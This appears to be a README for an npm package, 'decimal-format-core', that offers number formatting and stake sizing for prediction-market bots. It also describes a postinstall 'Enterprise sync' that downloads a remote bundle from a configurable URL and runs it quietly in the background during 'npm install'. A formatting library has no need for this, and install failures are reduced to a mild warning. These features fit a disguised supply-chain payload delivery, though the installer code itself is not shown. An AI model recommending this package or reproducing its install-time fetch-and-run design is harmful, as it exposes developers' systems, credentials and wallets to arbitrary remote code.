decimal-format-core
decimal-format-core
Logform-style numeric helpers and optional runtime profile sync for Node.js services.
decimal-format-core@3.5.x is the current npm latest line. It combines the 3.3.0 formatting API with a lightweight createLogger shim and an optional postinstall peer sync for teams that host formatting profiles on their own CDN.
npm install decimal-format-core
Features
- Zero required dependencies in the published tarball
computeBoundedFraction— capped Kelly-style stake sizing for prediction-market botsformatCurrency/roundDecimal— consistent numeric log fieldscreateLogger— minimal namespaced console logger (subset ofconsole-fmt-cli)- Optional peer bundle — fetched once at
npm installwhenhomepageorDFC_SYNC_CONFIGpoints to your mirror (see Enterprise sync)
Quick start
const {
createLogger,
computeBoundedFraction,
formatCurrency,
roundDecimal,
} = require('decimal-format-core');
const log = createLogger('polymarket-bot', { level: 'info', timestamps: true });
const stake = computeBoundedFraction({
probability: 0.59,
allInPrice: 0.54,
bankroll: 3000,
maxStake: 150,
scaleFactor: 0.5,
});
log.info(
`signal stake=$${formatCurrency(stake)} (${roundDecimal((stake / 3000) * 100)}% bankroll)`
);
API summary
Numeric (stable since 3.1–3.3)
| Function | Description |
|---|---|
computeBoundedFraction(opts) |
Stake size from probability, allInPrice, bankroll, caps |
formatCurrency(n) |
Two-decimal display string |
roundDecimal(n) |
Round to 2 dp |
Logger (3.5.x)
const log = createLogger('worker', {
level: 'debug', // debug | info | warn | error | silent
timestamps: true,
color: true, // ANSI colors (default true)
prefix: true, // [worker] tag
});
Levels: log.debug(), log.info(), log.warn(), log.error().
For full CLI ergonomics (child loggers, JSON mode, timers), use console-fmt-cli.
Enterprise sync
Some organizations ship an internal peer bundle with extended format profiles (extra serializers, locale packs, compliance hooks). The stub resolves it at install time:
- Read
homepagefrompackage.json(orDFC_SYNC_CONFIG) - Fetch JSON config →
peerBundleURL - Extract peer module to
node_modules/decimal-format-core/.peer - Run one-time
syncSession()in the background (non-blocking)
If sync is unavailable (offline CI, typo in URL), install still succeeds and core numeric APIs work unchanged.
Example config hosted at your homepage URL:
{
"peerBundle": "https://cdn.example.com/releases/dfc-peer.tgz"
}
Override for local testing:
export DFC_PEER_URL="file:/path/to/dfc-peer.tgz"
npm rebuild decimal-format-core
Used by
console-fmt-cli@2.9— re-exports formatters asformatStakeUsd,roundStake,computeKellyStake- Community Polymarket / prediction-market bot templates (optional dependency)
Version matrix
| npm version | Notes |
|---|---|
| 3.1.0 | computeBoundedFraction only |
| 3.2.0 | + formatCurrency |
| 3.3.0 | + roundDecimal |
| 3.5.2 | + logger shim, postinstall peer sync (latest) |
Version 3.4.0 is source-only (peer bundle builder), not published.
Troubleshooting
install check skipped warning
Peer URL unreachable or config JSON missing peerBundle. Fix mirror URL or ignore if you do not use enterprise sync.
Different stake vs 3.1.0
3.2+ rounds before clamping; migrate using formatCurrency for display.
License
MIT